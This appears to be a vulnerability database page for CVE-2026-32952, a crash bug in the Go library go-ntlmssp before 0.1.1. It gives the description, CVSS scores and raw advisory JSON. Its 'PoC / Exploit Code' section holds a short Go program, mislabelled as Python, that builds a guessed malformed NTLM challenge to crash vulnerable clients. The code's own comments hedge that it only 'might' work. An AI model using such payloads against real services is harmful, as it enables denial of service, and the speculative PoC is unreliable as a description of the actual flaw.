Security Vulnerability Report
中文
CVE-2026-32952 CVSS 5.3 MEDIUM

CVE-2026-32952

Published: 2026-04-24 03:16:08
Last Modified: 2026-05-21 18:22:06

Description

go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. Prior to version 0.1.1, a malicious NTLM challenge message can causes an slice out of bounds panic, which can crash any Go process using `ntlmssp.Negotiator` as an HTTP transport. Version 0.1.1 patches the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:go-ntlmssp:*:*:*:*:*:go:*:* - VULNERABLE
Azure/go-ntlmssp < 0.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "bytes" "encoding/hex" "fmt" ) // This script generates a malformed NTLM Challenge message // that can trigger the slice out of bounds panic in vulnerable versions of go-ntlmssp. func main() { // NTLM Signature: 'NTLMSSP' + Null terminator signature := []byte{0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00} // Message Type: 2 (Challenge) msgType := []byte{0x02, 0x00, 0x00, 0x00} // Constructing a payload with manipulated target name fields // to potentially trigger the parsing logic error. // The specific offsets depend on the library's parsing logic. buffer := new(bytes.Buffer) buffer.Write(signature) buffer.Write(msgType) // Fill buffer with data that might cause index out of bounds // This simulates a malformed TargetInfo fields or length mismatches malformedData := make([]byte, 32) for i := range malformedData { malformedData[i] = 0x41 // 'A' } buffer.Write(malformedData) payload := buffer.Bytes() fmt.Println("Generated Malformed NTLM Challenge Payload:") fmt.Println(hex.Dump(payload)) // To exploit: Send this payload as the NTLM Challenge response // to a Go application using 'github.com/Azure/go-ntlmssp' < v0.1.1 }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32952", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:07.833", "lastModified": "2026-05-21T18:22:06.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. Prior to version 0.1.1, a malicious NTLM challenge message can causes an slice out of bounds panic, which can crash any Go process using `ntlmssp.Negotiator` as an HTTP transport. Version 0.1.1 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:go-ntlmssp:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.1.1", "matchCriteriaId": "DD9C4411-621B-4714-A17D-76CF7D65BF49"}]}]}], "references": [{"url": "https://github.com/Azure/go-ntlmssp/releases/tag/v0.1.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Azure/go-ntlmssp/security/advisories/GHSA-pjcq-xvwq-hhpj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}